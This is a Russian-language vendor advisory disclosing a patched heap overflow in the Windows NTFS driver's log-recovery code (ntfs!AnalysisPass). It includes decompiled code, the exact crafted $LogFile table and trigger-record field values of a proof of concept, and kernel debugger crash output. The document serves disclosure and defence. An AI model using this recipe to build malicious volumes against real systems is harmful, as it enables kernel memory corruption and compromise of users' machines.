Heap-based buffer overflow in ntfs!AnalysisPass
Ещё в группе «Общее»
- Очередная супер-пупер уязвимость угрожает всему миру
21 октября были раскрыты две критические уязвимости PHP — CVE-2026-109618 и CVE-2026-109619, обе с CVSS 9.2.…
- Out-of-bounds write in ntfs!PageUpdateAnalysis
В функции ntfs!PageUpdateAnalysis драйвера NTFS в Microsoft Windows существует уязвимость типа переполнения буфера в куче. Специально…
- Мы помогли Apple устранить уязвимость в ядре ее операционных систем
Мы помогли Apple устранить уязвимость в ядре ее операционных систем Эксперт PT ESC Михаил Ложников обнаружил…
- Ваш сервер Zimbra под угрозой
Недавно наша команда PT ESC IR столкнулась с новой атакой ransomware-группировок на почтовые серверы Zimbra с…
- VMkatz: скрытая угроза для виртуальной инфраструктуры 🫣
В 2026 году был опубликован инструмент VMkatz. По функционалу он напоминает широко известный инструмент Mimikatz, но,…
| BDU | PT | CVE |
|---|---|---|
| 2026-06812 | 2026-58468 | 2026-50494 |
Краткое описание
В функции ntfs!AnalysisPass драйвера NTFS Microsoft Windows существует переполнение буфера в куче. При восстановлении специально сформированного $LogFile, обработка записи журнала OpenNonresidentAttribute может привести к тому, что ntfs.sys скопирует больше данных из redo записи, чем помещается в одну запись таблицы OAT.
Ссылка на продукт
Microsoft Windows: https://www.microsoft.com/windows
CWE
CWE-122: переполнение буфера в куче.
Детали
NTFS записывает изменения метаданных в $LogFile тома для восстановления прерванных операций при монтировании тома. Во время восстановления ntfs!NtfsRestartVolume инициализирует состояние перезапуска и выполняет ntfs!AnalysisPass по записям журнала. OAT — это одна из таблица из которых состоит $LogFile, в которой отслеживается изменение нерезидентных атрибутов файлов, открытые для изменения. Нерезидентный атрибут хранит своё значение вне записи главной файловой таблицы файла (MFT). Записи OAT связывают последующие записи журнала с соответствующим атрибутом; таблица восстанавливается из $LogFile в память ядра, а её заголовок задаёт размер каждой записи.
OpenNonresidentAttribute — это операция журнала NTFS с кодом 0x1C. Данные ассоциированные с этой операцией предоставляют запись открытого атрибута, вместе с сопутствующими данными имени атрибута. Во время анализа NTFS устанавливает эту запись в позицию, указанную в TargetAttribute записи, позволяя последующим записям восстановления ссылаться на атрибут.
В проанализированной сборке ntfs!InitializeRestartState загружает таблицу перезапуска OAT из журнала. Функция ntfs!NtfsCheckRestartTable проверяет её структуру, но в коде отсутствует проверка минимального EntrySize таблицы OAT помимо ненулевого значения. Для записи OpenNonresidentAttribute AnalysisPass получает слот через ntfs!NtfsAllocateRestartTableFromIndex и копирует в него LogRecord->RedoLength байт из LogRecord + RedoOffset:
// ntfs!AnalysisPass
...
v68 = NtfsAllocateRestartTableFromIndex(
v67,
a2->AttributeNamesTable_Or_OnDiskOAT,
(unsigned __int16)CurrentLogRecord->TargetAttribute);
ExReleaseResourceLite(&a2->AttributeNamesTable_Or_OnDiskOAT->Resource);
memmove(v68,
(char *)CurrentLogRecord + (unsigned __int16)CurrentLogRecord->RedoOffset,
(unsigned __int16)CurrentLogRecord->RedoLength
);
...
Тот же код, но в виде дизассемблированного листинга:
// ntfs!AnalysisPass
1401a603b movzx r8d, word ptr [r15+0Ch] ; TargetAttribute
1401a6040 mov rdx, [r13+1338h] ; Vcb->OnDiskOat
1401a604a call NtfsAllocateRestartTableFromIndex
1401a604f mov rdi, rax ; destination entry
...
1401a6065 movzx r8d, word ptr [r15+6] ; RedoLength
1401a606a movzx edx, word ptr [r15+4] ; RedoOffset
1401a606f add rdx, r15 ; source in log record
1401a6072 mov rcx, rdi ; destination entry
1401a6075 call memmove
Размер слота назначения определяется значением OnDiskOat.Table->EntrySize, тогда как длина копирования берётся из записи журнала. Перед копированием эти длины не сравниваются. NtfsCheckLogRecord ограничивает область повторного выполнения (redo) пределами записи, но не ограничивает RedoLength размером записи OAT. Таким образом, запись может пройти проверки границ источника и всё равно переполнить запись назначения.
Proof of Concept
Когда специально сформированный PoC-том монтируется, NTFS обрабатывает образ следующим образом:
- Функция
ntfs!InitializeRestartStateчитает специально сформированную таблицу открытых атрибутов из$LogFile. - Таблица принимается со значением
EntrySize = 4. - Функция
ntfs!AnalysisPassначинает работу со специально сформированной контрольной точки. - Следующая запись обрабатывается как операция
OpenNonresidentAttribute. NTFSзапрашивает записьOATчерезntfs!NtfsAllocateRestartTableFromIndex.- Аллокатор возвращает свободную 4-байтовую запись по смещению
0x18в таблице. NTFSкопируетRedoLength, а не размер записи назначения, в выделенную запись.memmoveкопирует0xe00контролируемых злоумышленником байт в 4-байтовый слот.
Область перезапуска указывает OpenAttributeTableLsn на сериализованную RESTART_TABLE, содержащую 44 записи. Её заголовок настроен следующим образом:
EntrySize = 4
NumberEntries = 44
NumberAllocated = 43
FirstFree = 0x18
LastFree = 0x18
0: kd> db rdx
ffff808b`689f6258 04 00 2c 00 2b 00 00 00-00 00 00 00 00 00 00 00 ..,.+...........
ffff808b`689f6268 18 00 00 00 18 00 00 00-00 00 00 00 ff ff ff ff ................
ffff808b`689f6278 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffff808b`689f6288 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffff808b`689f6298 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffff808b`689f62a8 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffff808b`689f62b8 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
ffff808b`689f62c8 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
Первая запись, расположенная по смещению 0x18, оставлена свободной и содержит нулевое значение следующей записи, что завершает список свободных записей. Все остальные записи содержат маркер 0xffffffff, что означает, что запись не является свободной.
RESTART_TABLE
+0x00 Table header
+0x18 Entry 0: 0x00000000
+0x1c Entry 1: 0xffffffff
...
+0xc4 Entry 43: 0xffffffff
Во время инициализации перезапуска NTFS принимает эту таблицу и устанавливает размер записи OAT на диске равным 4 байтам. Этот размер записи впоследствии используется при выделении памяти, выполняемом во время обработки записи OpenNonresidentAttribute.
Запись контрольной точки имеет длину клиентских данных 0x28. PoC вычисляет следующий LSN и размещает вызывающую запись сразу после него на той же странице журнала.
Триггер содержит следующие поля:
RedoOperation = 0x1c (OpenNonresidentAttribute)
UndoOperation = 0x01
RedoOffset = 0x28
RedoLength = 0xe00
UndoOffset = 0x28
UndoLength = 0
TargetAttribute = 0x18
LcnsToFollow = 0
TargetVcn = 0
ClientDataLength = 0xe28
1: kd> db r15
ffff808b`6cf8a188 1c 00 01 00 28 00 00 0e-28 00 00 00 18 00 00 00 ....(...(.......
ffff808b`6cf8a198 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff808b`6cf8a1a8 ff ff ff ff ff ff ff ff-41 41 41 41 41 41 41 41 ........AAAAAAAA
ffff808b`6cf8a1b8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffff808b`6cf8a1c8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffff808b`6cf8a1d8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffff808b`6cf8a1e8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffff808b`6cf8a1f8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Буфер redo размером 0xe00 байт заполнен контролируемыми злоумышленником байтами 0x41.
1: kd> !pool rcx
Pool page ffffdf0258350c38 region is Special pool
*ffffdf0258350000 size: 3d8 data: ffffdf0258350c20 (NonPaged) *NtFR
Pooltag NtFR : RestrSup.c, Binary : ntfs.sys
1: kd> p
rax=ffffb28a92b14d20 rbx=ffffdf0253eee8f8 rcx=ffffdf0258350c38 // destination pool
rdx=ffff808b6cf8a1b0 rsi=ffffcc0692ce8fd0 rdi=ffffdf0258350c38
rip=fffff8020ede1535 rsp=ffffb28a92b14e10 rbp=ffffb28a92b158f0
r8=0000000000000e00 r9=ffffdf0258350c20 r10=0000000000000000 // r8 is a length of data to copy
r11=ffffb28a92b14e08 r12=ffffb28a92b14f90 r13=ffffdf0255b591b0
r14=0000000000000000 r15=ffff808b6cf8a188
iopl=0 nv up ei ng nz ac po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040292
Ntfs!AnalysisPass+0x7f1:
fffff802`0ede1535 e80636e8ff call Ntfs!memcpy (fffff802`0ec64b40)
Выполнение memcpy из приведённого выше фрагмента приводит к сбою.
1: kd> !analyze -v -force
Connected to Windows 10 26100 x64 target at (Tue Sep 29 05:46:08.598 2026 (UTC - 7:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
................................................
Loading User Symbols
Loading unloaded module list
.............
************* Symbol Loading Error Summary **************
Module name Error
SharedUserData No error - symbol load deferred
You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffdf0258351000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff8020ec64c53, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Debugging Details:
------------------
KEY_VALUES_STRING: 1
Key : AV.PTE
Value: Invalid
Key : AV.Page.Virtual
Value: 0xffffdf0258350000
Key : AV.Type
Value: Write
Key : Analysis.CPU.mSec
Value: 4250
Key : Analysis.Elapsed.mSec
Value: 9698
Key : Analysis.IO.Other.Mb
Value: 22
Key : Analysis.IO.Read.Mb
Value: 35
Key : Analysis.IO.Write.Mb
Value: 332
Key : Analysis.Init.CPU.mSec
Value: 156906
Key : Analysis.Init.Elapsed.mSec
Value: 102952890
Key : Analysis.Memory.CommitPeak.Mb
Value: 323
Key : Analysis.Version.DbgEng
Value: 10.0.29617.1000
Key : Analysis.Version.Description
Value: 10.2604.29.1 amd64fre
Key : Analysis.Version.Ext
Value: 1.2604.29.1
Key : Bugcheck.Code.KiBugCheckData
Value: 0x50
Key : Bugcheck.Code.LegacyAPI
Value: 0x50
Key : Bugcheck.Code.TargetModel
Value: 0x50
Key : Failure.Bucket
Value: AV_VRF_Ntfs!memcpy
Key : Failure.Exception.IP.Address
Value: 0xfffff8020ec64c53
Key : Failure.Exception.IP.Module
Value: Ntfs
Key : Failure.Exception.IP.Offset
Value: 0x54c53
Key : Failure.Hash
Value: {42897693-3f38-2825-9348-02f570d06af5}
Key : Faulting.IP.Type
Value: Paged
Key : Hypervisor.Enlightenments.Value
Value: 1113060
Key : Hypervisor.Enlightenments.ValueHex
Value: 0x10fbe4
Key : Hypervisor.Flags.AnyHypervisorPresent
Value: 1
Key : Hypervisor.Flags.ApicEnlightened
Value: 0
Key : Hypervisor.Flags.ApicVirtualizationAvailable
Value: 0
Key : Hypervisor.Flags.AsyncMemoryHint
Value: 0
Key : Hypervisor.Flags.CoreSchedulerRequested
Value: 0
Key : Hypervisor.Flags.CpuManager
Value: 0
Key : Hypervisor.Flags.DeprecateAutoEoi
Value: 1
Key : Hypervisor.Flags.DynamicCpuDisabled
Value: 1
Key : Hypervisor.Flags.Epf
Value: 0
Key : Hypervisor.Flags.ExtendedProcessorMasks
Value: 1
Key : Hypervisor.Flags.HardwareMbecAvailable
Value: 0
Key : Hypervisor.Flags.MaxBankNumber
Value: 0
Key : Hypervisor.Flags.MemoryZeroingControl
Value: 0
Key : Hypervisor.Flags.NoExtendedRangeFlush
Value: 0
Key : Hypervisor.Flags.NoNonArchCoreSharing
Value: 0
Key : Hypervisor.Flags.Phase0InitDone
Value: 1
Key : Hypervisor.Flags.PowerSchedulerQos
Value: 0
Key : Hypervisor.Flags.RootScheduler
Value: 0
Key : Hypervisor.Flags.SynicAvailable
Value: 1
Key : Hypervisor.Flags.UseQpcBias
Value: 0
Key : Hypervisor.Flags.Value
Value: 528572
Key : Hypervisor.Flags.ValueHex
Value: 0x810bc
Key : Hypervisor.Flags.VpAssistPage
Value: 1
Key : Hypervisor.Flags.VsmAvailable
Value: 0
Key : Hypervisor.RootFlags.AccessStats
Value: 0
Key : Hypervisor.RootFlags.CrashdumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.CreateVirtualProcessor
Value: 0
Key : Hypervisor.RootFlags.DisableHyperthreading
Value: 0
Key : Hypervisor.RootFlags.HostTimelineSync
Value: 0
Key : Hypervisor.RootFlags.HypervisorDebuggingEnabled
Value: 0
Key : Hypervisor.RootFlags.IsHyperV
Value: 0
Key : Hypervisor.RootFlags.LivedumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.MapDeviceInterrupt
Value: 0
Key : Hypervisor.RootFlags.MceEnlightened
Value: 0
Key : Hypervisor.RootFlags.Nested
Value: 0
Key : Hypervisor.RootFlags.StartLogicalProcessor
Value: 0
Key : Hypervisor.RootFlags.Value
Value: 0
Key : Hypervisor.RootFlags.ValueHex
Value: 0x0
Key : SecureKernel.HalpHvciEnabled
Value: 0
Key : WER.OS.Branch
Value: ge_release
Key : WER.OS.Version
Value: 10.0.26100.1
BUGCHECK_CODE: 50
BUGCHECK_P1: ffffdf0258351000
BUGCHECK_P2: 2
BUGCHECK_P3: fffff8020ec64c53
BUGCHECK_P4: 2
FAULTING_THREAD: ffffdf024a721080
EXCEPTION_PARAMETER1: 0000000000000001
EXCEPTION_PARAMETER2: ffffdf0258351000
WRITE_ADDRESS: ffffdf0258351000 Special pool
MM_INTERNAL_CODE: 2
PROCESS_NAME: System
IP_IN_PAGED_CODE:
Ntfs!memcpy+113
fffff802`0ec64c53 0f2941f0 movaps xmmword ptr [rcx-10h],xmm0
STACK_TEXT:
ffffb28a`92b141d8 fffff802`7bd5ce42 : ffffb28a`92b14258 00000000`00000001 00000000`00000080 fffff802`7be67901 : nt!DbgBreakPointWithStatus
ffffb28a`92b141e0 fffff802`7bd5c36c : 00000000`00000003 ffffb28a`92b14340 fffff802`7be67b00 ffffb28a`92b14900 : nt!KiBugCheckDebugBreak+0x12
ffffb28a`92b14240 fffff802`7bca6537 : 00000000`00000000 fffff802`7bb81cb6 ffffdf02`58351000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffb28a`92b149d0 fffff802`7bb8194c : 00000000`00000050 ffffdf02`58351000 00000000`00000002 ffffb28a`92b14c70 : nt!KeBugCheckEx+0x107
ffffb28a`92b14a10 fffff802`7b9f0510 : 00000000`00000000 ffff8000`00000000 ffffdf02`58351000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffb28a`92b14b00 fffff802`7be5cfcb : 00000000`00000000 fffff802`7be59885 ffffdf02`58350c38 ffffb28a`92b14ce0 : nt!MmAccessFault+0x630
ffffb28a`92b14c70 fffff802`0ec64c53 : fffff802`0ede153a ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 : nt!KiPageFault+0x38b
ffffb28a`92b14e08 fffff802`0ede153a : ffffdf02`53eee8f8 ffffdf02`58350c38 ffffb28a`92b14f90 ffffdf02`55b591b0 : Ntfs!memcpy+0x113
ffffb28a`92b14e10 fffff802`0ee45000 : ffffdf02`53eee8f8 ffffdf02`00000000 00000000`00000000 ffffb28a`92b14f90 : Ntfs!AnalysisPass+0x7f6
ffffb28a`92b14f30 fffff802`0edcc3be : ffffdf02`53eeeab8 00000000`00000001 ffffdf02`53eee8f8 ffffdf02`53eeeab8 : Ntfs!NtfsRestartVolume+0xbc
ffffb28a`92b150a0 fffff802`0edc9f86 : 00000000`00000000 00000000`00000000 00000000`00000000 ffffdf02`4a7210f8 : Ntfs!NtfsMountVolume+0x1816
ffffb28a`92b157e0 fffff802`0ec3e639 : ffffdf02`53eee8f8 ffffb28a`92b158f0 00000000`00000008 ffffdf02`4a721080 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffb28a`92b158c0 fffff802`7ba8b7ec : ffffdf02`4a721080 ffffdf02`4a721080 ffffdf02`4a6e5530 fffff802`0ec3e020 : Ntfs!NtfsFspDispatch+0x619
ffffb28a`92b15a10 fffff802`7bc31afa : ffffdf02`4a721080 ffffdf02`4a721080 fffff802`7ba8b200 ffffdf02`4a6e5530 : nt!ExpWorkerThread+0x5ec
ffffb28a`92b15bf0 fffff802`7be4ef84 : fffff802`0c661180 ffffdf02`4a721080 fffff802`7bc31aa0 00630069`00760072 : nt!PspSystemThreadStartup+0x5a
ffffb28a`92b15c40 00000000`00000000 : ffffb28a`92b16000 ffffb28a`92b10000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34
SYMBOL_NAME: Ntfs!memcpy+113
MODULE_NAME: Ntfs
IMAGE_NAME: Ntfs.sys
IMAGE_VERSION: 10.0.26100.6899
STACK_COMMAND: .process /r /p 0xffffdf024a6b4040; .thread /r /p 0xffffdf024a721080 ; kb
BUCKET_ID_FUNC_OFFSET: 113
FAILURE_BUCKET_ID: AV_VRF_Ntfs!memcpy
OS_VERSION: 10.0.26100.1
BUILDLAB_STR: ge_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
FAILURE_ID_HASH: {42897693-3f38-2825-9348-02f570d06af5}
Followup: MachineOwner
---------
Последующая эксплуатация тривиальна.
Хронология раскрытия
- 12 мая 2026 г.: производитель был уведомлён об уязвимости и ему был предоставлен технический отчёт.
- 7 июля 2026 г.: производитель завершил внутренний анализ и подтвердил наличие уязвимости. Были предоставлены предварительные сроки выпуска исправления и рекомендаций.
- 14 июля 2026 г.: были выпущены обновления безопасности и опубликованы рекомендации.
Ещё в группе «Общее»
- Очередная супер-пупер уязвимость угрожает всему миру
21 октября были раскрыты две критические уязвимости PHP — CVE-2026-109618 и CVE-2026-109619, обе с CVSS 9.2.…
- Out-of-bounds write in ntfs!PageUpdateAnalysis
В функции ntfs!PageUpdateAnalysis драйвера NTFS в Microsoft Windows существует уязвимость типа переполнения буфера в куче. Специально…
- Мы помогли Apple устранить уязвимость в ядре ее операционных систем
Мы помогли Apple устранить уязвимость в ядре ее операционных систем Эксперт PT ESC Михаил Ложников обнаружил…
- Ваш сервер Zimbra под угрозой
Недавно наша команда PT ESC IR столкнулась с новой атакой ransomware-группировок на почтовые серверы Zimbra с…
- VMkatz: скрытая угроза для виртуальной инфраструктуры 🫣
В 2026 году был опубликован инструмент VMkatz. По функционалу он напоминает широко известный инструмент Mimikatz, но,…






